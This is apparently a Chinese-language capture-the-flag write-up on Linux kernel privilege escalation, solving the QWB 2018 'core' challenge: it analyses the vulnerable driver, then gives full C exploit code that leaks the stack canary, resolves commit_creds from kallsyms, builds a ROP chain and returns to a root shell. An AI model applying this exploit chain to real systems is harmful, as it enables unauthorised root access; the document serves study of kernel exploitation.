# Linux Kernel Exploitation 生存日记 - 0x01# ret2usr# 原理内核栈溢出啥的劫持内核驱动的执行流,exp 里面写函数执行 commit_cred (prepare_kernel_cred (0)) 或者 commit_cred (&init_cred),即可提权到 root(执行的代码处于用户的程序中,但是此此时仍然处于内核态),之后 swapgs+iretq 返回到用户态执行 system ("/bin/sh") 即可
# Try!- 强网杯 2018 - core# 题目分析start.sh :
1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \
这里可以看到 qemu 启动 linux 的参数。
kaslr 说明开启了地址随机
之后解压文件系统。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 bin -rw-rw-r-- 1 akyoi akyoi 6.9K 3月 23 2018 core.ko drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 etc -rwxrwxr-x 1 akyoi akyoi 66 3月 17 2018 gen_cpio.sh -rwxrwxr-x 1 akyoi akyoi 558 3月 23 2018 init drwxrwxr-x 3 akyoi akyoi 4.0K 3月 17 2018 lib drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 lib64 lrwxrwxrwx 1 akyoi akyoi 11 10月 7 19:31 linuxrc -> bin/busybox drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 proc drwxrwxr-x 2 akyoi akyoi 4.0K 3月 23 2018 root drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 sbin drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 sys drwxrwxr-x 2 akyoi akyoi 4.0K 3月 23 2018 tmp drwxrwxr-x 4 akyoi akyoi 4.0K 3月 17 2018 usr -rwxrwxr-x 1 akyoi akyoi 46M 3月 23 2018 vmlinux
core.ko 就是我们分析的驱动文件。 gen_cpio.sh 方便打包 cpio
init 文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/ptsmount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
我们删去第一个 poweroff 指令即可关闭定时关机。同时这里也可以设置 sh 具有的权限:
setsid /bin/cttyhack setuidgid 1000 /bin/sh
之后我们 IDA 分析 core.ko 文件: 初始化驱动:
1 2 3 4 5 6 __int64 init_module () { core_proc = proc_create("core" , 438LL , 0LL , &core_fops); printk(&unk_2DE); return 0LL ; }
ioctl 函数,我们 exp 中使用 ioctl 函数与之交互:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B : core_read(a3); break ; case 0x6677889C : printk(&unk_2CD); off = a3; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(a3); break ; } return 0LL ; }
core_write 函数,我们使用 write 函数与之交互:
1 2 3 4 5 6 7 8 __int64 __fastcall core_write (__int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return (unsigned int )a3; printk(&unk_230); return 0xFFFFFFF2 LL; }
这里限制的最大长度为 0x800
core_copy_func:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 __int64 __fastcall core_copy_func (__int64 a1) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword(0x28 u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)a1); } return result; }
这里比较 a1 与 63 的时候采用的是有符号的比较
之后传参采用
movzx ecx, bx
会保留最低 2 字节以及扩展符号位。
这里我们只需控制 rbx 为负数,而且 bx 扩展符号位后不会寄掉,即是一个大一些的整数,但是不过于大,比如 0x600.
程序的保护如下:
1 2 3 4 5 6 7 [*] '/home/akyoi/PWN/Kernel/ret2usr/core/core.ko' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0) Stripped: No
# 攻击!首先泄露 canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define ULL unsigned long long int main () { save_status(); ULL canary[0x40 /8 ]; int fd=open("/proc/core" ,O_RDWR); ioctl(fd,0x6677889C ,0x40 ); ioctl(fd,0x6677889B ,canary); printf ("Kernel Canary : %p\n" ,canary[0 ]); return 0 ; }
成功拿到 canary:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SeaBIOS (version 1.16.3-debian-1.16.3-2) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFCAE00+1EF0AE00 CA00 Booting from ROM... [ 0.021425] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / $ ls bin etc init proc tmp core.cpio exp lib root usr core.ko exp.c lib64 sbin vmlinux dev gen_cpio.sh linuxrc sys / $ ./exp Kernel Canary : 0x43962a7a3b2f1800 / $
顺便看看 /tmp/kallsyms:
1 2 3 4 / $ cat /tmp/kallsyms | grep commit_cred ffffffffafe9c8e0 T commit_creds / $ cat /tmp/kallsyms | grep prepare_kernel_cred ffffffffafe9cce0 T prepare_kernel_cred
之后就可以从这里面读入地址了,减去偏移就可以拿到基址和 ROPgadget 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define ULL unsigned long long size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void getshell () { system("/bin/sh" ); } size_t commit_creds = 0 , prepare_kernel_cred = 0 ;void getbase () { FILE *fd=fopen("/tmp/kallsyms" , "r" ); size_t addr; char x[0x10 ]; char buf[0x100 ]; int a=0 ,b=0 ; while (1 ){ fscanf (fd,"%lx%s%s" ,&addr,&x,&buf); if (!strcmp ("commit_creds" ,buf)){ commit_creds=addr; a=1 ; } if (!strcmp ("prepare_kernel_cred" ,buf)){ prepare_kernel_cred=addr; b=1 ; } if (a==1 && b==1 )return ; } } int main () { save_status(); ULL canary[0x40 /8 ]; int fd=open("/proc/core" ,O_RDWR); ioctl(fd,0x6677889C ,0x40 ); ioctl(fd,0x6677889B ,canary); printf ("Kernel Canary : %p\n" ,canary[0 ]); getbase(); printf ("commit_creds : %p\n" ,commit_creds); printf ("prepare_...creds: %p\n" ,prepare_kernel_cred); return 0 ; }
可以看到成功拿到地址了:
1 2 3 4 5 / $ ./exp Kernel Canary : 0x5392669a9ed6b500 commit_creds : 0xffffffffb6c9c8e0 prepare_...creds: 0xffffffffb6c9cce0 / $
之后 ROP 执行 commit_creds (prepare_kernel_cred (0)) 或者 commit_cred (&init_cred) 就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #define ULL size_t size_t user_cs, user_ss, user_rflags, user_sp;void save_status () { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ) ; puts ("\033[34m\033[1m[*] Status has been saved.\033[0m" ); } void getshell () { puts ("asdasdasd" ); asm ("push rax" ); system("/bin/sh" ); } size_t commit_creds = 0 , prepare_kernel_cred = 0 ;ULL base; void getbase () { FILE *fd=fopen("/tmp/kallsyms" , "r" ); size_t addr; char x[0x10 ]; char buf[0x100 ]; int a=0 ,b=0 ; while (1 ){ fscanf (fd,"%lx%s%s" ,&addr,&x,&buf); if (!strcmp ("commit_creds" ,buf)){ commit_creds=addr; base=commit_creds-0x9c8e0 ; a=1 ; } if (!strcmp ("prepare_kernel_cred" ,buf)){ prepare_kernel_cred=addr; b=1 ; } if (a==1 && b==1 )return ; } } extern int commit_creds_func (int cred) ;extern int prepare_kernel_cred_func (int cred) ;void to_root () { char * (*pkc)(int ) = prepare_kernel_cred; void (*cc)(char *) = commit_creds; (*cc)((*pkc)(0 )); } int main () { save_status(); ULL canary111[0x40 /8 ]; int fd=open("/proc/core" ,O_RDWR); ioctl(fd,0x6677889C ,0x40 ); ioctl(fd,0x6677889B ,canary111); printf ("Kernel Canary : %p\n" ,canary111[0 ]); getbase(); printf ("commit_creds : %p\n" ,commit_creds); printf ("prepare_...creds: %p\n" ,prepare_kernel_cred); size_t canary=canary111[0 ]; size_t rop[0x800 ]={0 }; memset (rop,0 ,sizeof (rop)); ULL offset=base-0xffffffff81000000 ; int i; for (i=0 ;i<10 ;i++) { rop[i]=canary; } rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0xFFFFFFFF8223D1A0 + offset; rop[i++] = commit_creds; rop[i++] = 0xffffffff81a012da + offset; rop[i++] = 0 ; rop[i++] = 0xffffffff81050ac2 + offset; rop[i++] = (size_t )getshell; rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,0x800 ); ioctl(fd,0x6677889A ,0xffffffffffff0100 ); return 0 ; }
第一种:commit_creds (prepare_kernel_cred (0))
1 2 3 4 5 6 7 8 rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred; rop[i++] = 0xffffffff810a0f49 + offset; rop[i++] = 0xffffffff81021e53 + offset; rop[i++] = 0xffffffff8101aa6a + offset; rop[i++] = commit_creds;
第二种:ret2usr
1 rop[i++] = (size_t )to_root;
第三种:commit_creds (&init_cred)
1 2 3 rop[i++] = 0xffffffff81000b2f + offset; rop[i++] = 0xFFFFFFFF8223D1A0 + offset; rop[i++] = commit_creds;
跑完就能拿到 rootshell 了
1 2 3 4 5 6 7 8 9 10 11 / $ ./exp_rop [*] Status has been saved. Kernel Canary : 0x1802bc00ab651400 commit_creds : 0xffffffffa2e9c8e0 prepare_...creds: 0xffffffffa2e9cce0 asdasdasd / # whoami root / # id uid=0 (root) gid=0 (root) / #